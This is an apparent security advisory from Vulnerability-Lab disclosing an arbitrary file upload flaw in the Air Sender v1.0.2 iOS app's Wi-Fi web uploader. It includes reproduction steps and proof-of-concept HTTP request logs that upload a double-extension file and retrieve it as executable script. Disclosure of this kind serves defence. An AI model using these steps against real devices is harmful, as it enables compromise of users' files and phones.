Document Title:
===============
Air Sender v1.0.2 iOS - Arbitrary File Upload Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2212
Release Date:
=============
2020-04-24
Common Vulnerability Scoring System:
====================================
7.4
Vulnerability Class:
====================
Arbitrary File Upload
Affected Product(s):
====================
Tran Tu
Air Sender v1.0.2 iOS - Apple iOS Mobile Web Application
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
An arbitrary file upload web vulnerability has been discovered in the
official Air Sender v1.0.2 iOS mobile application.
The web vulnerability allows remote attackers to upload arbitrary files
to compromise for example the file system of a service.
The arbitrary upload vulnerability is located in the within the
web-server configuration when using the upload module.
Remote attackers are able to bypass the local web-server configuration
by an upload of malicious webshells. Attackers
are able to inject own files with malicious `filename` values in the
`upload` POST method request to compromise the
mobile web-application. The application does not perform checks for
multiple file extensions. Thus allows an attacker
to upload for example to upload a html.js.png file. After the upload the
attacker requests the original url source
with the uploaded file and removes the unwanted extension to execute the
code in the unprotected web-frontend.
The security risk of the vulnerability is estimated as high with a
common vulnerability scoring system count of 7.0.
Exploitation of the web vulnerability requires a low privilege ftp
application user account and no user interaction.
Successful exploitation of the arbitrary file upload web vulnerability
results in application or device compromise.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] ./upload
Vulnerable File(s):
[+] list?path=
[+] download?path=
Proof of Concept (PoC):
=======================
The arbitrary file upload vulnerability can be exploited by remote
attackers without user interaction and with local network access.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Install and start the ios mobile application on your apple device
2. Open your local browser and start to tamper the http session
2. Open the wifi user interface without authentication by default
4. Click upload, choose any file
5. Change the files name to your script code test payload via session tamper
6. Continue to submit the manipulated content
7. Open the via the list or download url to the uploaded html / js file
to execute it
8. Successful reproduce of the mobile ios vulnerability!
PoC: Exploitation
http://localhost/download?path=0010101001.html.js
http://localhost/download?path=0010101001.html.js
--- PoC Session Logs [POST] ---
http://localhost/upload
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------418835692331824972282021572505
Content-Length: 2609
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
path=/&files[]=0010101001.html.js.png
-
POST: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 2
Content-Type: application/json
Connection: Close
Server: GCDWebUploader
-
http://localhost/list?path=[PATH]/[Evil.Source]
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://localhost/
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
-
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 381
Content-Type: application/json
Connection: Close
Server: GCDWebUploader
-
http://localhost/download?path=0010101001.html.js
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Connection: Close
Server: GCDWebUploader
Date: Tue, 14 Apr 2020 19:35:28 GMT
Content-Disposition: attachment; filename="0010101001.html.js";
filename*=UTF-8''0010101001.html.js
Content-Length: 2270
Cache-Control: no-cache
Etag: 4306047746/1586892764/961771080
Reference(s):
http://localhost/list
http://localhost/upload
http://localhost/download
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com